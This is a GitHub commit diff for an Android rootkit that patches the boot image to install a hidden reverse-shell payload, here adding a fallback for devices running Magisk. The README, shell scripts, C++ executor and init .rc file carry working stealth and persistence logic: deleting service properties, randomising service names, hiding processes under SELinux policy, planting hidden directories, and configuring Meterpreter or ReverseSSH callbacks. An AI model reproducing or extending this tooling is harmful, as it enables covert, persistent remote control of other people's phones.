Skip to content

Commit

Permalink
support devices with Magisk
Browse files Browse the repository at this point in the history
  • Loading branch information
ng committed Apr 5, 2024
1 parent 5fd1af2 commit da22a1d
Show file tree
Hide file tree
Showing 8 changed files with 122 additions and 47 deletions.
33 changes: 21 additions & 12 deletions README.MD
Original file line number Diff line number Diff line change
Expand Up @@ -27,6 +27,8 @@ MIUI 11.0.2 | 7 | rootfs
LineageOS 17.1 | 10 | 2SI
LineageOS 19.0 | 12 | 2SI

_Note_: if Magisk is installed on SAR or 2SI device, this tool will fallback to Magisk's `overlay.d`. It will use standard `magisk` context which is not hidden by SELinux policy. In this case, setting `hide_process_bind` is recommended (see `config.prop`).

## Features & Improvements

- Installs entirely into _/boot_, does not modify _/system_ in any way
Expand All @@ -36,20 +38,20 @@ LineageOS 19.0 | 12 | 2SI
- Installation and backup no longer depend on _/data_
- Installation takes much less time
- Cut artifacts and unused code left from Magisk
- Compatible with Magisk on device

## Limitations
- Incompatible with Magisk, causing bootloop
- Not hidden from root (files, mounts, etc.)
- On some systems _logcat_ may log random service name on boot
- Sockets (if any) are not hidden, though specific process using network is
- Not hidden by SELinux policy if installed with Magisk on SAR / 2SI device

## Prerequisites

- Python 3
- Android SDK
- ADB / Fastboot tools
- Custom recovery image for your device (TWRP is recommended)
- #### **No Magisk installed on device!**   (compatibility issues cause bootloop)

## Build

Expand All @@ -75,7 +77,7 @@ The result is a sideloadable _.zip_ package which can be installed with TWRP or

_Note_: if using reverse shell payloads (such as ReverseSSH, Meterpreter, etc.), set your LHOST and LPORT in `config.prop` before building.

_Note_: if SELinux is _permissive_ or _off_ on the target device, you can use alternative hiding method. See `config.prop` for details.
_Note_: if SELinux is _permissive_ or _off_ on the target device or you have Magisk, you can use alternative hiding method. See `config.prop` for details.

_Note_: you can disable logging (logcat and selinux) by setting `release=True` in the end of `build_revshell.py`.

Expand All @@ -99,18 +101,22 @@ At this moment, **do not reboot** right away. Backup original boot partition:
$ adb pull /tmp/backup_original_partitions .
```

Run the command **before** rebooting into system, otherwise you will not be able to uninstall this tool properly and will have to find stock boot image for your device somewhere and flash it.
Run the command **before** rebooting into system, otherwise you might not be able to fully restore stock boot image.

Reboot into system after you have backups on your PC.

#### Uninstall

You need a backup of original partitions made during installation. Move it to _/tmp_:
You have two options to uninstall this tool: **restore /boot image** using backup or **revert modifications in-place**.

To restore the image, push a backup of the original partitions made during installation to _/tmp_:
```
$ adb push backup_original_partitions /tmp/
```

Start sideload feature in Advanced / Sideload and then run:
If you don't have a backup image or don't need to keep /boot signed, you can proceed without backups. In this case, uninstall script will attempt to restore _init_ in-place.

Start sideload feature in Advanced / ADB Sideload and then run:
```
$ adb sideload zip_reverse_shell_uninstall.zip
```
Expand All @@ -130,13 +136,10 @@ Before running one, rename or symlink your TWRP image as `twrp` in your current
Simply connect your device via USB and switch it into Fastboot mode.
After installation, backups will be saved automatically.

`install.sh` to install and save backup image. \
`reinstall.sh` to reinstall quickly (if you have the backup).\
`uninstall.sh` to restore original boot image from backup.
`install.sh` to install or reinstall. \
`uninstall.sh` to uninstall: either restore boot image from backup or uninstall directly.

#### In case installation script crashes, make sure you pull backups manually when prompted!

#### _Warning_: avoid double installation as it will cause bootloop! Reinstall (uninstall and install again) instead.
#### In case installation script crashes, make sure you pull backups manually when prompted! (see TWRP console)

## Test

Expand Down Expand Up @@ -167,6 +170,12 @@ $ adb logcat | grep revshell
03-18 00:35:01.312 3197 3197 D revshell: tick ! 15 seconds since process started
```

On boot, temp and persistence directories are created:
- `/mnt/secure/temp` - protected directory in _tmpfs_
- `/data/adb/.fura` - directory to store arbitrary files persistently

Both directories are protected by SELinux policy, so they might be inaccessible even to root (depends on the stock policy).

You can disable logging (logcat and selinux) by setting `release=True` in the end of `build_revshell.py`.

## Custom payloads
Expand Down
6 changes: 5 additions & 1 deletion build_revshell.py
Original file line number Diff line number Diff line change
Expand Up @@ -404,7 +404,7 @@ def zip_main_revshell(args):

# Binaries
for lib_dir, zip_dir in [('armeabi-v7a', 'arm'), ('x86', 'x86')]:
for binary in ['magiskinit', 'magiskinit64', 'magiskboot']:
for binary in ['magiskinit', 'magiskinit64', 'magiskboot', 'revshell', 'executor']:
source = op.join('native', 'out', lib_dir, binary)
target = op.join(zip_dir, binary)
zip_with_msg(zipf, source, target)
Expand All @@ -414,6 +414,10 @@ def zip_main_revshell(args):
target = op.join('common', 'boot_patch.sh')
zip_with_msg(zipf, source, target)

source = op.join('scripts', 'rtk.rc')
target = op.join('common', 'rtk.rc')
zip_with_msg(zipf, source, target)

# util_functions.sh
source = op.join('scripts', 'util_functions.sh')
with open(source, 'r') as script:
Expand Down
10 changes: 6 additions & 4 deletions native/jni/magiskboot/ramdisk.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -76,12 +76,14 @@ void magisk_cpio::patch() {
#define TWO_STAGE_INIT (1 << 3)

int magisk_cpio::test() {
for (auto file : UNSUPPORT_LIST)
if (exists(file))
return UNSUPPORTED_CPIO;

int flags = STOCK_BOOT;

for (auto file : UNSUPPORT_LIST)
if (exists(file)) {
flags |= UNSUPPORTED_CPIO;
break;
}

if (exists(RAMDISK_XZ)) {
flags |= COMPRESSED_CPIO | MAGISK_PATCHED;
decompress();
Expand Down
20 changes: 16 additions & 4 deletions native/jni/payload/executor.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -35,6 +35,7 @@

#define SBIN_REVSHELL "/sbin/revshell"
#define DEV_REVSHELL "/dev/sys_ctl/revshell"
#define DEBUG_REVSHELL "/debug_ramdisk/revshell"


bool check_fs_decrypted() {
Expand Down Expand Up @@ -178,9 +179,13 @@ int main(int argc, char** argv, char** envp) {
int status;

// Hide prop: init.svc.SVC_NAME
if (argc != 2) return 0;
std::string svc_name = "init.svc." + std::string(argv[1]);
delprop(svc_name.c_str());
if (argc >= 2) {
std::string svc_name = "init.svc." + std::string(argv[1]);
delprop(svc_name.c_str());

svc_name = "ro.boottime." + std::string(argv[1]);
delprop(svc_name.c_str());
}

// Remount read-only /sbin on system-as-root
// (may fail on rootfs, no problem there)
Expand All @@ -189,7 +194,14 @@ int main(int argc, char** argv, char** envp) {
mount(nullptr, "/sbin", nullptr, MS_REMOUNT | MS_RDONLY, nullptr);
revshell_path = SBIN_REVSHELL;
}
else revshell_path = DEV_REVSHELL;
else if (access(DEV_REVSHELL, F_OK) == 0)
revshell_path = DEV_REVSHELL;
else if (access(DEBUG_REVSHELL, F_OK) == 0)
revshell_path = DEBUG_REVSHELL;
else {
ALOGD("Error: revshell binary not found");
return 1;
}

// setup temp dir
ALOGD("Setting up " TEMP_MNT_POINT TEMP_DIR);
Expand Down
62 changes: 42 additions & 20 deletions scripts/boot_patch.sh
Original file line number Diff line number Diff line change
Expand Up @@ -39,6 +39,7 @@ if [ -z $SOURCEDMODE ]; then
fi

BOOTIMAGE="$1"
SYSTEM_ROOT="$2"
[ -e "$BOOTIMAGE" ] || abort "$BOOTIMAGE does not exist!"

# Flags
Expand Down Expand Up @@ -75,7 +76,6 @@ esac
# Ramdisk Restores
###################

#SHA1=`./magiskboot sha1 "$BOOTIMAGE" 2>/dev/null`
cat $BOOTIMAGE > stock_boot.img
cp -af ramdisk.cpio ramdisk.cpio.orig 2>/dev/null

Expand All @@ -92,8 +92,24 @@ echo "RECOVERYMODE=$RECOVERYMODE" >> config
./magiskboot cpio ramdisk.cpio test
STATUS=$?

case $((STATUS & 3)) in
0 ) # Stock boot / Unsupported?
if [ $((STATUS & 1)) -ne 0 ]; then
# unxz original init (if xz)
./magiskboot cpio ramdisk.cpio "extract .backup/init init"
./magiskboot cpio ramdisk.cpio "extract .backup/init.xz init.xz" && \
./magiskboot decompress init.xz init

# SAR device detected? -> count as 2si here
$SYSTEM_ROOT && STATUS=$((STATUS | 8))
fi

# TODO : legacy SAR + magisk ??

# 1 = magisk
# 2 = rootkit
# 4 = compressed (ignore)
# 8 = two-stage
case $((STATUS & 11)) in
0|8 ) # Stock boot
ui_print "- Stock boot image detected"

./magiskboot cpio ramdisk.cpio \
Expand All @@ -107,11 +123,6 @@ case $((STATUS & 3)) in
1 ) # Magisk patched
ui_print "- Magisk patched boot image detected"

# unxz original init (if xz)
./magiskboot cpio ramdisk.cpio "extract .backup/init init"
./magiskboot cpio ramdisk.cpio "extract .backup/init.xz init.xz" && \
./magiskboot decompress init.xz init

# Execute our patches after magisk to overwrite sepolicy (partial stealth?)
# upd: still not working... magisk policy has priority?
# hi fstab fastboot btw
Expand All @@ -132,25 +143,36 @@ case $((STATUS & 3)) in
"add 750 .backup/init init" \
"rm .backup/init.xz"

# contains "selinux_setup" ? -> 2si, too
./magiskboot hexpatch init 73656c696e75785f7365747570 73656c696e75785f7365747570 && STATUS=8

if [ $((STATUS & 8)) -ne 0 ]; then
ui_print " "
ui_print "! WARNING: Magisk in 2SI scheme detected."
ui_print "Full compatibility with Magisk is not yet implemented and tested. This tool will probably not work with Magisk installed."
ui_print " "
fi

;;
2|3 )
2|3|10 ) # Rootkit with / without magisk, except 2si magisk
ui_print "- Rootkit installation detected, reinstalling"

./magiskboot cpio ramdisk.cpio \
./magiskboot cpio ramdisk.cpio \
"add 000 .rtk_backup/.rtk config" \
"add 750 init magiskinit"

;;
9|11 ) # 2si magisk (currently unsupported, so just use its overlay.d)
# -> no sepolicy patches, no stealth, use standard magisk context

ui_print " "
ui_print "! Warning: Magisk in SAR / 2SI scheme detected."
ui_print "Due to compatibility issues, this tool will fallback to Magisk's own overlay.d and use standard magisk context."
ui_print " "

SVC_NAME=$(head /dev/urandom -c 60 | tail -c 40 | LC_ALL=C tr -dc A-Za-z0-9 | head -c 13)
printf "$(cat rtk.rc)" "$SVC_NAME" "$SVC_NAME" "$SVC_NAME" > rtk.rc

# Fallback to overlay.d (2si, works in newer magisk, limited stealth)
./magiskboot cpio ramdisk.cpio \
"mkdir 000 overlay.d" \
"mkdir 000 overlay.d/sbin" \
"add 000 overlay.d/rtk.rc rtk.rc" \
"add 750 overlay.d/sbin/executor executor" \
"add 750 overlay.d/sbin/revshell revshell" \
"mkdir 000 .rtk_backup" \
"add 000 .rtk_backup/.rtk config"

esac

if [ $((STATUS & 4)) -ne 0 ]; then
Expand Down
13 changes: 13 additions & 0 deletions scripts/rtk.rc
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
# Used in overlay.d fallback for 2si with magisk

service %s ${MAGISKTMP}/executor %s
disabled
user root
group root
seclabel u:r:magisk:s0
shutdown critical
oneshot

on property:sys.boot_completed=1
start %s

23 changes: 18 additions & 5 deletions scripts/uninstall_revshell.sh
Original file line number Diff line number Diff line change
Expand Up @@ -132,12 +132,25 @@ else
[ $((STATUS & 2)) -ne 0 ] || abort "! Rootkit isn't installed. If it is, use backups to uninstall."
ui_print "- Restoring init in-place"

# Internal restore
./magiskboot cpio ramdisk.cpio restore
if ! ./magiskboot cpio ramdisk.cpio "exists init"; then
# A only system-as-root
rm -f ramdisk.cpio
if ./magiskboot cpio ramdisk.cpio "exists overlay.d/rtk.rc"; then
# 2si magisk (overlay.d)

ui_print "- Removing overlay.d entries"
./magiskboot cpio ramdisk.cpio \
"rm overlay.d/sbin/executor" \
"rm overlay.d/sbin/revshell" \
"rm overlay.d/rtk.rc" \
"rm .rtk_backup/.rtk"

else
# regular restore
./magiskboot cpio ramdisk.cpio restore
if ! ./magiskboot cpio ramdisk.cpio "exists init"; then
# A only system-as-root
rm -f ramdisk.cpio
fi
fi

./magiskboot repack $BOOTIMAGE

# Sign chromeos boot
Expand Down
2 changes: 1 addition & 1 deletion scripts/util_functions.sh
Original file line number Diff line number Diff line change
Expand Up @@ -458,7 +458,7 @@ install_magisk() {
# Source the boot patcher
ui_print "- Sourcing boot_patch.sh"
SOURCEDMODE=true
. ./boot_patch.sh "$BOOTIMAGE"
. ./boot_patch.sh "$BOOTIMAGE" "$SYSTEM_ROOT"

ui_print "- Flashing new boot image"

Expand Down

0 comments on commit da22a1d

Please sign in to comment.